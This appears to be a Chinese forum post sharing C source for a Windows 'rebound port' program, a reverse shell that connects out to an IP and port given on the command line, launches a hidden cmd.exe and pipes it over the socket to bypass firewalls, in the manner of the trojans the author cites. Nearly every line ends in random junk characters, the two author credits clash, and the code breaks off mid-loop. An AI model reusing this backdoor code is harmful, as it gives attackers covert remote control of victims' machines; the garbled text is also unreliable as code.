这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D 66!C{
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/* ============================== K\$z,}0
Rebound port in Windows NT )`zfDio-1V
By wind,2006/7 /!-ypIY
===============================*/ e_Q(l'f
#include O9Yk5b;
#include L'a>D
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#pragma comment(lib,"wsock32.lib") j{P3o<l&`
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void OutputShell(); ;+Mr|vweTC
SOCKET sClient; !}HT&N8[r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bfA9aT
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void main(int argc,char **argv) bM
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{ #4!6pMW(&7
WSADATA stWsaData; 0WAOA6
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int nRet; BF]+fs`
SOCKADDR_IN stSaiClient,stSaiServer; k?=_p6>
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if(argc != 3) 5fK<DkB$>:
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printf("Useage:\n\rRebound DestIP DestPort\n"); jce2lXMm
return; <(Ktf0'__
} V,:~FufM^
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WSAStartup(MAKEWORD(2,2),&stWsaData); m ,TYF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5v#_2Ih
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stSaiClient.sin_family = AF_INET; !_h<w ?)
stSaiClient.sin_port = htons(0); }Yp]A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =JB1 ]b{|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k!m9
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{ K|-RAjE
printf("Bind Socket Failed!\n"); [E/8E
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return; z#sSLE.$Z
} P4~C0z
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stSaiServer.sin_family = AF_INET; ^v@&
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1PT0<C-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vjD||!g'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a5%IjgQ&z
{ T8a!"lPP7
printf("Connect Error!"); (1Ii86EP
return; !6d`e"\K
} z@J;sz
OutputShell(); lF!Iu.MM 9
} WhR'MkfL
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void OutputShell() Sc&p*G
{ `<d{(9:+
char szBuff[1024]; 6w^Fee`>]
SECURITY_ATTRIBUTES stSecurityAttributes; gNzamorv[
OSVERSIONINFO stOsversionInfo; \+sP<'~M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :KJZo,\
STARTUPINFO stStartupInfo; N^K@$bs4^
char *szShell; Hsz).u
PROCESS_INFORMATION stProcessInformation; '}
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unsigned long lBytesRead; !Ql&Ls
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6B>H75S+H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Iw) 'Yyg
stSecurityAttributes.lpSecurityDescriptor = 0; qluaop
stSecurityAttributes.bInheritHandle = TRUE; HCKj8-*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d/`Q,Vl
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NI?YUhg>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |#-GH$.v
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4
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stStartupInfo.wShowWindow = SW_HIDE; }z8HS<
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stStartupInfo.hStdInput = hReadPipe; `=cOTn52
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m;KD@E!
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GetVersionEx(&stOsversionInfo); ZtqN8$[6n
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switch(stOsversionInfo.dwPlatformId) %QrpFE5V5
{ au 5qbP
case 1: ;p 'Ej'E
szShell = "command.com"; %{M&"M v
break; :0RfA%
default: yjxv D
szShell = "cmd.exe"; +cnBEv~y
break; RP4P"m(
} I<ta2<h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ygquQhf5
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send(sClient,szMsg,77,0); eC41PQ3=1'
while(1) +=A53V[C
{ |*WE@L5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IQ"9#{o
if(lBytesRead) !o&